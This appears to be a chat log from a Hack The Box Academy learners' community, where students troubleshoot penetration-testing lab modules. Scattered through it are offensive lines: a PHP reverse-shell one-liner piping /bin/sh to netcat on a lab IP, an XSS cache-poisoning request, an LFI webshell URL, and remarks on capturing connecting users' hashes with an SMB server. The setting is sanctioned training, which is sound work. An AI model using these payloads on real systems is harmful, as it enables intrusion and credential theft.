Questionβ¦if Iβm looking to transfer a file from a windows box using powershell to my Kali box. How can I do that? I canβt use scp and only like net use or smb. Does anyone know and can share the commands ? Iβve tried net use \ip of Kali /home/kali/my share but doesnβt seem to work. I get a network name not found error. I as
for smb you can use impacket's smbserver, for http you can use psupload, there are a ton of ways
Okayβ¦Iβll try those two ways instead - thanks @next bronze
with smb you don't need net use, just use it like a network drive
cp file \\10.0.0.1\share\
@next bronze and on my Kali machine I setup the server to listen/receive?
correct
Ok cool ty
yeah Im a fan of smbserver for uploading to attacker
with impacket's smbserver there's the added benefit of stealing whoever is connecting's hashes, could be useful sometimes
yup
Anyone else had any issues with spawning the target for Attacking Common Applications->Other Notable Applications? Its been about 10 minutes and nothing has spawned.
Is anyone else having issues spawning lab targets?
Trying to work on the medium footprinting lab and the target just sits:
Tried other previous labs. Same thing. Even on a different browser and computer.
ah good its not just me.
Yep, same here
Targets in regular HTB are working fine. Seems to be limited to academy targets?
Main htb and academy are separate networks technically speaking
I figured as much. Wanted to see just incase as a troubleshooting step in making sure the issue isn't on my end.
Looks like its working again
Yep, all good here too.
Hello i was wondering if sombody is new to hacking and if u want to be teached message me [and mods/owners don ban me i wont teach the proffesional hacks just wifi]
If you don't have permission it's still illegal
Hi all. Please, help me with the ABUSING HTTP MISCONFIGURATIONS module with the first task (yes, the first task of the module in the chapter Identifying Unkeyed Parameters). Iβve been trying to solve it for the second week now and have tried a bunch of different complex tests, but the result is the same, I donβt get the flag. And it seems to me that Iβm doing something wrong and I just donβt understand what it is anymore. I started doing it again step by step like in the module, but it still ends in failure.
Steps I followed:
- Sent a cache poisoning request using XSS via the ref parameter.
||GET /index.php?language=de&ref=%22%3E%3Cscript%3Eyour_script_XSS%3C/script%3E HTTP/1.1||
-
Received a response with X-Cache-Status: HIT, which indicates that the request was cached.
-
after the first step, the next request is sent immediately, which activates my XSS script at /admin.php?reveal_flag=1.
||GET /admin.php?reveal_flag=1 HTTP/1.1
Referer: http://webcache.htb/index.php?language=de&ref="><script>your_script_XSS</script>||
- I tried to look at the answer in several tabs and quickly go to other tabs to activate the load through the transition, everything is hopeless. I just beg you, help, 2 weeks on one question is too much
hello there, have you confirm that ref parameter its vulnerable to reflected XSS ? o just repeat the module ?
recomended confirm the XSS First with a basic alert() payload
I don't understand how to do that
The flag will print in the banner upon successful login on the host via SSH.
Im logged in, but didn't get any message
Skills Assessment - INTRODUCTION TO WINDOWS COMMAND LINE
@acoustic owl I'm probably being real dumb but I cracked the password for the account for QUestion one of Kerberoasting from Linux in the AD Enum module but i'm drawing a blank for how to authenticate with it i'm probably overlooking something super simple though
hey! i have to ask a question about the "Attacking Applications Connecting to Services" section in "Attacking Common Applications".
I've followed the disassembling part in Linux for the "Octopus_checker" elf file.
I've noted that in the walkthrough, the call to the SQLDriver uses a "full" address, but in my kali machine it doesn't.
Here's what in the section:
0x0000555555555607 <+433>: call 0x5555555551b0 <SQLDriverConnect@plt>
This is what i have in my kali box:
0x0000000000001607 <+433>: call 0x11b0 <SQLDriverConnect@plt>
adding a breakpoint to the 0x11b0 doesn't work. It's probably some type of config issue i guess, if someone knows what it is would really help me, thanks!
I don't recall having to authenticate anywhere, at least there's nothing in my notes about it, are you having an issue with the second question?
yeah i got through some of it it's just trying to narrow my search down tbh
but my brain isn't braining
for the second question, I just checked bloodhound
if i remember correctly you can delete a file and reset the psw
don't remember which one
yeah, I've forgotten it too at some point, you can definitely reset it
yes i remember i've seen something about it when i settled it up for the first time
also most likely i've had forgotten mine, so will have to research it π
I also kept forgetting my Nessus password, so I finally wrote down in my notes how to reset it
I resolved without bloodhound, i was just stoopid
Glad you solved it
@everyone
did you try both possible cache files
yes
one keeps going away, I tried about 10 times yesterday periodically since they kept changing, and just tried three times
are my commands right though?
looks fine
Just got it. It was simple, I kept putting /root/krb....... when I was already in root. I just needed to name it without the root.
I also didn't use "export" I dont know if that matters
eh if it works it works
it doesnt like your get command
presumably the argument after it is throwing it off but idk, I always leave -c at the end if I were to use it(I usually dont)
I figured it out, but what does -k do?
I can't find it in --help or the man page
I believe -k is to use kerberos authentication
That makes sense, I'm going to read more into that later.
because its the impacket smbclient version
Can anyone assist me?
one moment trying to get the snippet
I am HTB Academy Windows Priv Esculation the Skill Assessment Part 1
and I dont know how to get on system
I tried and nmap
but kinda stuck
nmap isn't gonna be enough
I see
During a penetration test against the INLANEFREIGHT organization, you encounter a non-domain joined Windows server host that suffers from an unpatched command injection vulnerability. After gaining a foothold, you come across credentials that may be useful for lateral movement later in the assessment and uncover another flaw that can be leveraged to escalate privileges on the target host.
For this assessment, assume that your client has a relatively mature patch/vulnerability management program but is understaffed and unaware of many of the best practices around configuration management, which could leave a host open to privilege escalation.
Enumerate the host (starting with an Nmap port scan to identify accessible ports/services), leverage the command injection flaw to gain reverse shell access, escalate privileges to NT AUTHORITY\SYSTEM level or similar access, and answer the questions below to complete this portion of the assessment.
so thats what I read
yes and there's usually a related question underneath the spawn target button that leans into what you should try first
nmap shows open ports > open ports = vulnerabilities
I did my scan
you'll need to combine all of the information from the whole module to gain access
I think I get what you're saying
I have to go back to few modules or sections
to get the answer
does it tell you to brute force with ssh and hydra on that port?
if i'm understanding the directions correctly it does?
it does not
it's telling you to brute force the existing auth mechanism on the website
nowhere in the question does it even hint at ssh
and being able to access it via web should be the further clue you're barking up the wrong tree
thank you so much
don't thank me for your inability to read
lol
Hey quick question does anyone else ever experience their shell breaking when they try to upgrade a dummy shell to fully interactive?
yes sometimes that happens to me
I cant enter shit it, it interprets [enter] as ^M instead
i have to kill the window even and get a reverse shell again
am i doing something wrong?
once you get another reverse shell try using python
i generally have good luck with python tty
tty is short for teletype aka an interactive shell
don't forget to close the single quote
try the cheat sheet here https://github.com/RoqueNight/Reverse-Shell-TTY-Cheat-Sheet
try spawning a bin/bash one next
mind if i send a screen cap of whats going on
that sure don't look like an academy module my guy
its from shells
why does it say offsec proving grounds?
"connection from an "Photographer" as shown in your screencap too
i changed the hostname lmao
also when you go back to fg do reset and it'll reset the terminal back to normalish
either way doesn't look like it's related to https://academy.hackthebox.com
yeah it means kinda normal
what differences?
hopefully an actual interactive shell, for one
hopes and prayers are what seemingly fuel every penetration test
i updated to vmware workstation pro 17.5 and my kali instance has been freezing nonstop lol
i hope and pray it doesn't do that on the exam
skill issue tbh
it freezes with the highlight capital i cursor and won't let me click windows Β―_(γ)_/Β―
just making sure have you tried clicking right ctrl
i have it in the mode where you don't need to do that like my mouse is free to move from host and the vmware window without having my mouse locked inside the woindow
hello, in the LFI and File uploads section of File inclusion module, once we upload a profile pic, we access the uploaded pic by viewing the page source code. now when trying to execute the shell we put in ./profile_images/ like this http://x.x.x.x:port#/index.php?language=zip://./profile_images/shell.jpg@cmd=id. the reason why use the dot before profile_images as per the module is the vulnerable page(index.php) is in the main directory. what does this mean exactly i didnt get it
it's telling it to look from the /var/www or wherever the webroot is
instead of from system root C:\ or /
Ever wonder why you need a ./ before a Unix shell script or command of your own in order to run it? Here's what the Linux dot slash does and why Unix systems require the ./ syntax.
ah k thanks
i hope that link helps
it could also be what moo linked
it's not a native command so you have to tell linux that it is in fact a command and NOT an image
(get tricked filters :^))
thanks @rustic sage @fathom pendant
no worries i love to help out but i will never be as helpful as marcielee
so /bash/ -i
i mean you can just type bash
oh
super cool!
no more broken shells
i'm extremely tired and none of my things are working will come back to it tomorrow
for an explaination for it and i feel dumb too
basically kali uses zsh by default obviously
feeling dumb is good
so you gotta swap to bash :p
π¦Ύ always keep learning
except when you gotta take the oscp exam this mf is coming up soon ive been on the grind lol
I want to do that but getting as many skills as i can first so whatever i apply to will let me work remote
make sure to get passive income too!
i should have taken the cpts exam already but i was busy trying to buy a house and now that i have a house life just got a whole lot easier
passive income gives you the freedom to do what you enjoy most
exactly keep on that grind tho
ima get back to this lab gl with this
so you want to say that in fact I had to look for another parameter, and not go step by step through the chapter? π₯²
I am not able get the MAP + RW in the xdbg after importing restart-servive.exe into xdbg debugger
Hey, I'm stuck with the last flag, I sended you a message
Hello to everyone. "Attacking Common Services - SQL"
Any tip about this? Cannot get the hash using responder.
I don't understand how to do that, help me pls
The flag will print in the banner upon successful login on the host via SSH.
Im logged in, but didn't get any message
Skills Assessment - INTRODUCTION TO WINDOWS COMMAND LINE
On *File Inclusion >Log Poisoning * Are you suppose to be able to get the flags with PHP Session Hijacking? I have no problem getting cmd=id. But as soon as I try to change cmd, I get nothing back
Where do I have to find it?
maybe if you run responder and forced the srvc to have to auth to something you could get the hash? This is a hint, not speculation.
I supposed to the question
i think the question will give you the credentials
Has anyone done the advanced XSS skill assessment I could ask a question to?
I have connected by ssh to the target. What I need to do?
Just enumerate and find the flag. Search the folder. Usually you find the flag on users home or Desktop.
Secondly: Try to not do questions like this before you search on your own and try. If you feel that you tried everything then ask on the groups or search onlnie
nvm, manged so solve this with PHP Session Hijacking
Supposed that i already tried that
always ask the specific quesition, include what you have done already and ensure to use spoiler tags for spoilers. You are way more likely to get an answer
well, you maybe did it wrong? It worked for me
just checked my notes
Could be, i try and let you know. Maybe i am missing something
99% of the times something is not working for me its something minor, reread section and go again always helps
Hi, i kindly need some sort of clarity as to why i am getting this error
keepass2john Login.kdbx > kdbx.hash ! Login.kdbx : Unknown format: File signature invalid
I used Base64 for the transfer and the MD5 hashes match
which module is that
it's Password Attack Lab Hard
generally, don't use b64 to transfer anything other than text bases files
Ok
there should be other ways that you can transfer files?
At this stage the available path seems to be file upload however I am having trouble making this workβ¦
hello guys i need help nosql skill assesment two,Can someone help me
just ask the actual question and say what you have already tried. People are doing different modules so you may get an actual answer if you are specific about what you need help with.
okey sorry
i tried all payloads that learned the lesson but didn't work
i can not bypass autentication
please help mee
Okay, since I acknowledged that individual modules seem to not be possible to be purchased and given as a gift. I had one idea to bypass the problem, but I don't know if this could be done or is even legal.
Is it possible to create an account and buy the specific courses that I want to gift, then give this brand new Academy account as a present?
I think HTB gift cards work on the academy. There's an option to buy cubes you can use to buy modules using a gift card on the academy. Not sure how you get a gift card though.
That could work?
You can buy a gift card and send it to the person
better to present gift card init?
you may DM if you didn't resolve it yet
i need help nosql two skill assetsment can someone help me
can you buy gift cards for the academy here: https://www.hackthebox.com/giftcards
My god, Pass the ticket on Linux, I learned so much with keytab and ccache ,didnt know about this
What a beast module
Good afternoon everyone - is anyone able to help me on the Attacking Tomcat section of the attacking common applications module? I have RCE but can't find the flag.
Nevermind - got it
On the Skill assessment for File Inclusion. Can I get a hint what wordlist to use? doesn't seem to be LFI-Jhaddix one
For the next homie: check ALL the folders, you can't miss it.
you donβt need one
Elaborate please
spoilers and what more do you need then from a wordlist xd
you have all you need now start enumerating to get RCE
well I guess I manually guess that path apache of nginx..
but just thought one should use the automated scanning
ACTIVE DIRECTORY ENUMERATION & ATTACKS
In Attacking Domain Trusts - Child -> Parent Trusts - from Windows:
Perform the ExtraSids attack to compromise the parent domain. Submit the contents of the flag.txt file located in the c:\ExtraSids folder on the ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL domain controller in the parent domain.
I use ls \\academy-ea-dc01.inlanefreight.local\c$ and can see contents of C drive but not sure what command to use to get into subdirectories from here. If I try using ls \\academy-ea-dc01.inlanefreight.local\C\ExtraSids$ I get a "cannot find path" error.
the picture is added as spoiler?
and xd
i need help nosql injection in two skill assesment can someone help me
i still can click and see one key point to solve that assessment
find out what $ means here
ok, just thought it was enough to add it as a spoiler...
dont rely on automated tools for such simple tasks
fair enough, thx
ah i see had to keep $ next to the c and not put it on the end
ππ½
hey guys, in module "SQLMap Essentials" ==>> "Attack Tuning" I got the "flag 5" content: HTB{7....7}.
but it gives me:
Error
Incorrect answer!
does someone know HTF I deal with it? (BTW no, there R no spaces and stuff, just the flag)
not sure Y, but G=1 fix it
if someone knew please let me know ...
it might B HTB's error that they need to fix
Hi, anyone doing "WINDOWS ATTACKS & DEFENSE" module skills assessment? the machine is really really slow, i cannot even do a copy. not sure if what is the issue.
hi can someone help me with footprinting lab hard; im unable to ssh to mysql from the user t**. am i on the right path? i have tried with password to connect to mysql. error there too. any help would be great
getting this error when trying to ssh
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
checkout the other ports, doesn't sound like you're ready for ssh yet
Hey guys, I'm doing the Active Directory Skill Assesment 2
I'm currently trying to escalate privilege into the machine MS01 172.16.7.50
Tried to mimikatz, but as I'm not Nt authority doesn't work
Tried to use PrinterSpooler.exe but didn't work
Does anyone can give me a nudge
which question are you working on?
- 1 Submit the contents of the flag.txt file on the Administrator Desktop on the MS01 host.
I'm connected in xfreerdp to MS01 by using BR086 user and a proxychains
enumerate the rights of the users you have credentials to
sechangenotifyprivilege
You mean about this one Β§?
Tried to google it but I can't see how to use it
not that, check the privs of all the users you have
Ha ! Thanks
I'll try
Well tried on both user ***20 And ***86 at the moment the only other user I have is an sql
might want to remove that, spoilers
at this point you have full admin access to SQL01 right?
Yes
Mmmh... Okey I should try to know more about what right are enable for the admin of SQL01
I have a task
The flag will print in the banner upon successful login on the host via SSH.
Im logged in, but didn't get any message, also I checked all the directories. And i don't understand how to find a the flag, I don't know even how does it look like.
The hint is "This is where Alice went..", how can I use this?
Skills Assessment - INTRODUCTION TO WINDOWS COMMAND LINE
It'll be above the first line of where it lets you type
The banner is the "welcome" message
I didn't receive anything else, only
user0@10.129.204.9's password: Microsoft Windows [Version 10.0.22000.1219] (c) Microsoft Corporation. All rights reserved.
Weird
it's before you enter the password, ssh clears your terminal after logging in
oh, i found it, thx
Is it? Because the question states "on successful login"
yeah just checked it, question should've been clearer I supposed but, it's also... right there
Anyone familiar with the Getting Started lesson? I'm on the Nibbler exercise and am trying to reverse shell in, but the netcat listener is not connecting to the target
what have you tried and what's the reverse shell you used?
@next bronze I'm following along with the lesson, was able to image.php file uploaded, then added the Bash script specified in the lesson, and the started the nc listener and it just waits forever
Then tried to curl the image.php file to make sure it is there and I'm getting an error saying that it is not found on the server
Just rechecked the content directory and now the image.php file is gone so maybe that is the problem?
you need to curl it so that it triggers the reverse shell, if you don't find it, upload again
and make sure you configured the ip and port correctly
Question regarding the image.php file, is it supposed to have both bash scripts or just the longer one?
From reading the lesson it sounded like both and maybe that is the issue?
you mean these two?
<?php system('id'); ?>
<?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 9443 >/tmp/f"); ?>
Yes
you need to understand the purpose of the two commands there, the one on top is a simple id command, really just to test if you are able to execute system commands, once that's confirmed, then you can put a reverse shell in its place, which is what you're aiming for
Ok so the id portion is working, when I curl the file it shows the id
So something is up with the reverse shell command
Is the 10.10.14.2 YOUR tun0?
And are you listening on that port?
nope just taken from the example
Could it be the port that I am using? Any recommendations?
Steps > start listener > start shell
the ip should match your tun0 ip, the port should be you nc listen port
I think I figured out what I'm doing wrong, 1 sec to confirm
Got it, I had the target IP in the code instead of my own
Is there anyone I can ask about kerberos attack module skill assessment last question? I'm stuck, I obtained pwd from the two accounts 1st with kerbrute (daniel.whitehead) , then I obtained the hash from annette.jackson because has an unconstrained delegation on the server01..then i entered to server01, using rubeus, I monitored the sessions then I obtained session from jake.kirk but jake is not privileged.
Last question regarding this, the Python code it recommends using, do we add that to our image.php file?